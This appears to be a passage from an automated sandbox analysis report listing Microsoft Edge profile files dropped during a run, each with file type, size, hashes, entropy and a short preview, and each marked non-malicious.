C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\23bcc94c-d659-4f7e-ad14-3910914944e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9711
Entropy (8bit):	5.119677582168791
Encrypted:	false
SSDEEP:	192:stckdpY+sdDsZihUk4ze8ubV+FXTQA66WQaFIMYAP7YJ:stcQTsdDfhtbGDQx6WQaTYV
MD5:	5E2DB8D6A4ADFA588BC706608A275AC6
SHA1:	36EBFE608526F4FCB83303CAA0C0BE8A43D4F169
SHA-256:	85C34E2A0B4E9789D052D9B5070637B78D87D7B0CD89858AB95865ED51287A92
SHA-512:	C0E89C1EC68A2AF29CC5D2CEA6A91E7EDBFD3485044FE7E39DFB4D081C0AB474D79F4C2C41AEF4DB7D221B49D442BB50D5992134743AAAACA8E47C582C3D132F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\391c8aff-6633-4761-af81-26791721afa5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561191741648259
Encrypted:	false
SSDEEP:	768:uG6u0c7pLGLPS4WPbLfia8F1+UoAYDCx9Tuqh0VfUC9xbog/OVV4qZ/fArwkWI3y:uG6u0AcPS4WPbLfiau1jao4q1fxkWQQJ
MD5:	B6CDD6B476262EDC6A3A28A5E9522860
SHA1:	A742C33E7B1D3861DBFDE9765A270DB1ACA80068
SHA-256:	41513B8B3EA42BD00A794FE49060E5487F7F74771A14D5685E7116F9FD548500
SHA-512:	69E4E1F3874A4558FA2F774D541C3DA76F21603BBC46C211DEF4980249FEBB80D082B91D7934F6A4617F2FE4E949D6C7AB83CB58DE9AD223D02FD31B63D63840
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376786782815092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376786782815092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\538222ab-ad76-4f76-8c02-631c283d4fbf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56718661037582
Encrypted:	false
SSDEEP:	768:uPgue4WPbLfTa8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcZ/oArwGp7xtuo:uPgue4WPbLfTau1jaR1oxcxtn
MD5:	83709D5E5B75D2D05895C9A3984114E5
SHA1:	87F64FBC519B9A8767E73A007BCEAADFCFB2228E
SHA-256:	E856C1394B9E786C0F7382D20BAB56CEEA4D7CC64C9083FB81A4E0AB898527BF
SHA-512:	2D16FB10749966AE1371A511C06B6E01FF645D056CC18828AE5D0E289C9159C994535EBAFF8B714E42C069F700F2ADC02B09B2DF617E1451E523E2283AD8164B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376786782815092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376786782815092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\58ad9a9b-5a35-404b-9731-edd455d7d434.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17340), with no line terminators
Category:	dropped
Size (bytes):	17342
Entropy (8bit):	5.490523712142737
Encrypted:	false
SSDEEP:	384:stcPGQSu4TsdDfhyTcAi4bGDQwl6WQaTYV:sCOXu9Df6bG8SkaTYV
MD5:	2F48398497A3C5A6F285223837F2AD87
SHA1:	CB9EE8B0A788F4B29139EF053F38D01E0E029D7B
SHA-256:	8CD1CCC4C6121623068D7CF70D94963A76F3104DBC09A20003E23480DF925B51
SHA-512:	82C72E76DA3958E9F8611948E9AAD25946440DC875FB6977571CEA921D27C00D267D328D328DB619F669A7C049C256B9CC0C2CDFDCB4F8A3D90DCE7A6702A3DD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\86edf17d-2fa1-426a-b9a7-18d61975820a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17505), with no line terminators
Category:	dropped
Size (bytes):	17507
Entropy (8bit):	5.486853197330445
Encrypted:	false
SSDEEP:	384:stcPGQSu4TsdDfhyTcAi4bGDQwl6WflaTYV:sCOXu9Df6bG8ShaTYV
MD5:	5EC4314E225BA38019D56D80AEF126E2
SHA1:	D7E285C0A790007BAA086AB1658EA76B76451591
SHA-256:	85AB1DA966AF5D90E8BDEDF8C7F0800EBEAF27F70FA727294C0F803710FE8D86
SHA-512:	B987DD0FB03C76CBB0E706DC6C714EE553A6C9A1F90598B489858DFC01848203CD63699D0BBF808228C7E1E6D086BEA019504CC97D865043C4A95611335F1126
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.239382731227417
Encrypted:	false
SSDEEP:	6:HntchRM1923oH+Tcwtp3hBtB2KLlVXu2pyq2P923oH+Tcwtp3hBWsIFUv:NShYebp3dFLnpyv4Yebp3eFUv
MD5:	03C95BD918F58FB144E62B166686CFD5
SHA1:	BA2257F504C367EC66324EF0769F24FE5F153F74
SHA-256:	011DB9B20881CE5426BD7C9F7AEEC248685B7231D8B5C06C88CBD5DEA8CFBBD2
SHA-512:	01D8BB93EE762A955BC1386C394B5D2BD3C280C9A717DFE60486BCFE5569EB1C2F78B1D0C93CDCB3AB116013356F140C6A89948FDE0EC5EBF037A5A623EE137B
Malicious:	false
Preview:	2024/11/22-17:06:28.366 1de4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/22-17:06:28.405 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222879622910901
Encrypted:	false
SSDEEP:	24576:v+/PN8FufI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Efx2mjF
MD5:	FEB7266B5594EF4F9183ED0F1860DAF8
SHA1:	67F94C42F5A4F07B1265E3B9537816F7A6924BA8
SHA-256:	54073C083841B1A9409488FE3B54903ECB8C7E029EE196200C81A3026B93E046
SHA-512:	1773875475DE3E27E127EF5C8EFA56A3186BE6D1571BD022EA5C641F9F093891A23AA79C8B0DDEE53B90468CC1D2C6C847FC9EB453C9DABCB29FA5323C926101
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118307683029612
Encrypted:	false
SSDEEP:	6:HhW4q2P923oH+Tcwt9Eh1tIFUt8Y0LJZmw+YqDkwO923oH+Tcwt9Eh15LJ:B1v4Yeb9Eh16FUt8j/+15LYeb9Eh1VJ
MD5:	A60555DB5312F3D002FCDE1B9595E97A
SHA1:	0C9949F859A5237A9F120ABFF226F75DC65FBF4C
SHA-256:	62C894B6E7D787673A39C7708FF2CD1B56BA35074287F2FE1343A9254CB7380D
SHA-512:	7B904E5CD53D1A3C10DCF970F5B12C644ECC2A40B8F8A7A1A3897B9C72C9FF2B8D0AB04ABD14AF277C79C968D87DCAF4F5FDD798745EA45C0FFEE15CEB200268
Malicious:	false
Preview:	2024/11/22-17:06:28.104 2254 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-17:06:28.106 2254 Recovering log #3.2024/11/22-17:06:28.115 2254 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118307683029612
Encrypted:	false
SSDEEP:	6:HhW4q2P923oH+Tcwt9Eh1tIFUt8Y0LJZmw+YqDkwO923oH+Tcwt9Eh15LJ:B1v4Yeb9Eh16FUt8j/+15LYeb9Eh1VJ
MD5:	A60555DB5312F3D002FCDE1B9595E97A
SHA1:	0C9949F859A5237A9F120ABFF226F75DC65FBF4C
SHA-256:	62C894B6E7D787673A39C7708FF2CD1B56BA35074287F2FE1343A9254CB7380D
SHA-512:	7B904E5CD53D1A3C10DCF970F5B12C644ECC2A40B8F8A7A1A3897B9C72C9FF2B8D0AB04ABD14AF277C79C968D87DCAF4F5FDD798745EA45C0FFEE15CEB200268
Malicious:	false
Preview:	2024/11/22-17:06:28.104 2254 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-17:06:28.106 2254 Recovering log #3.2024/11/22-17:06:28.115 2254 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46345225601639756
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuJmP2:TouQq3qh7z3bY2LNW9WMcUvBuJmu
MD5:	999113D11452AA0599190F484D376CBC
SHA1:	2BF53317BA05ACFEEDCD832E367C15E4A71F85A0
SHA-256:	1D64ACD737EA404248057254BEFD92D57817DBF551FD51653CB199210681D6C6
SHA-512:	FD29CE2CFAA2775119B30FCE68278FC2A2A5DF6BCA99E2E5E2FF090E07EC2DBB024462190393EEB53BDEBFC3F8E62D282F93E6746458A93DCE936276C58C95DB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.168491332688727
Encrypted:	false
SSDEEP:	6:HOq2P923oH+TcwtnG2tMsIFUt8YAZmw+YokwO923oH+TcwtnG2tMsLJ:uv4Yebn9GFUt8n/+15LYebn95J
MD5:	CAEF03F5C210318B9F98B9F34A16112A
SHA1:	31CDD9871DD21C05A9600C0B3A63701F3492B80D
SHA-256:	A7A9DB8621F24956855A55CD6E8A6D173CEBAFE9B14E23F7E3735BDA3FA00521
SHA-512:	57246BE0A02A74DAE0AB8EC2931A48A1216CFF45F29F19D383C3FD74888177E3DF465D3CC6F4E3BC101F10A9B1A78B2939DAB6F248290C08C0B187B0220CFAD0
Malicious:	false
Preview:	2024/11/22-17:06:22.822 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-17:06:22.823 1840 Recovering log #3.2024/11/22-17:06:22.823 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.168491332688727
Encrypted:	false
SSDEEP:	6:HOq2P923oH+TcwtnG2tMsIFUt8YAZmw+YokwO923oH+TcwtnG2tMsLJ:uv4Yebn9GFUt8n/+15LYebn95J
MD5:	CAEF03F5C210318B9F98B9F34A16112A
SHA1:	31CDD9871DD21C05A9600C0B3A63701F3492B80D
SHA-256:	A7A9DB8621F24956855A55CD6E8A6D173CEBAFE9B14E23F7E3735BDA3FA00521
SHA-512:	57246BE0A02A74DAE0AB8EC2931A48A1216CFF45F29F19D383C3FD74888177E3DF465D3CC6F4E3BC101F10A9B1A78B2939DAB6F248290C08C0B187B0220CFAD0
Malicious:	false
Preview:	2024/11/22-17:06:22.822 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-17:06:22.823 1840 Recovering log #3.2024/11/22-17:06:22.823 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6139998303822263
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jcBXCpyB0mL:TO8D4jJ/6Up+od/P
MD5:	E6C7B6A59F0D37843F17A94F56F6D5C8
SHA1:	4E1538EBA066A2CCC34DD4F826C9B540C5F1AD9D
SHA-256:	24051432F225369DA30E888C2365A7F037682C60824DBC17766455D62E23580C
SHA-512:	8D133AE713178D1D42E4A19057030AAB3636A5B53CBFE96C4691B61EC8F9BB1DDABB373D72DF5A308241AA9E6CE9BAB5284145D82223D323262C349719F4835A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354135241251779
Encrypted:	false
SSDEEP:	6144:oA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:oFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	9B180B464215AF28490BC6FB605850A5
SHA1:	60D450C0370CC6E017735595B8D9EE92102C8772
SHA-256:	4F482FEBFE7F58CC2F86841F7BA3E81F2E7B64E11CDFB59DAAD56E1A0B443348
SHA-512:	F8824B9887C19D98129FF7E79BD184F59EF362C12F6A07B5DDAEE321AEDF909BAAB0008D55025C5ED649185F13E4C092B4D1F55340C64051B3B9437E65A5BE2E
Malicious:	false
Preview:	...m.................DB_VERSION.1.L..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376786791224572..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.158867082655127
Encrypted:	false
